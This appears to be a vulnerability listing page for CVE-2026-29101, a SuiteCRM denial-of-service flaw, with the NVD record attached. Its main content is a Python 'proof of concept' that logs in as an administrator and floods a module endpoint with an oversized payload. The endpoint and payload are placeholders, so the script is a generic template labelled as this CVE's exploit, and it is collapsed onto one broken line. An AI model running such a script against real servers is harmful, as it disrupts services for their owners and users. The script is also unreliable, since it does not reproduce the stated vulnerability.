CVE-2026-29101

import requests # Exploit Title: SuiteCRM Module DoS PoC (CVE-2026-29101) # Description: This script demonstrates a potential DoS attack on a vulnerable module. # Note: Requires High Privileges (Admin credentials). target_url = "http://target-suitecrm-instance.com" login_endpoint = f"{target_url}/index.php" vuln_module_endpoint = f"{target_url}/index.php?module=VulnerableModule&action=specific_action" # Credentials for a high-privilege user username = "admin" password = "password" session = requests.Session() # 1. Authenticate to get the session login_data = { "user_name": username, "user_password": password, "module": "Users", "action": "Login" } print("[+] Attempting login...") response = session.post(login_endpoint, data=login_data) if response.status_code == 200: print("[+] Login successful.") # 2. Send malicious payload to trigger DoS # Adjust payload based on specific vulnerability details (e.g., large string, special chars) malicious_payload = { "data": "A" * 100000 # Example payload causing resource exhaustion } print(f"[+] Sending payload to {vuln_module_endpoint}...") try: exploit_resp = session.post(vuln_module_endpoint, data=malicious_payload, timeout=5) print(f"[+] Response status: {exploit_resp.status_code}") except requests.exceptions.Timeout: print("[!] Server timed out - DoS likely successful.") except requests.exceptions.ConnectionError: print("[!] Connection error - Service likely crashed.") else: print("[-] Login failed.")

{"cve": {"id": "CVE-2026-29101", "sourceIdentifier": "[email protected]", "published": "2026-03-19T23:16:42.637", "lastModified": "2026-03-24T14:33:57.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, a Denial-of-Service (DoS) vulnerability exists in SuiteCRM modules. Versions 7.15.1 and 8.9.3 patch the issue."}, {"lang": "es", "value": "SuiteCRM es una aplicación de software de Gestión de Relaciones con Clientes (CRM) de código abierto y lista para empresas. Antes de las versiones 7.15.1 y 8.9.3, existe una vulnerabilidad de Denegación de Servicio (DoS) en los módulos de SuiteCRM. Las versiones 7.15.1 y 8.9.3 aplican un parche al problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:suitecrm:suitecrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.15.1", "matchCriteriaId": "73648654-E7F6-47CF-8E01-19BBFF737C99"}, {"vulnerable": true, "criteria": "cpe:2.3:a:suitecrm:suitecrm:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.9.3", "matchCriteriaId": "C7E15DD3-A934-40A2-8B43-ABCCBB53CBCF"}]}]}], "references": [{"url": "https://docs.suitecrm.com/admin/releases/7.15.x", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-24pf-9cvh-ppcg", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}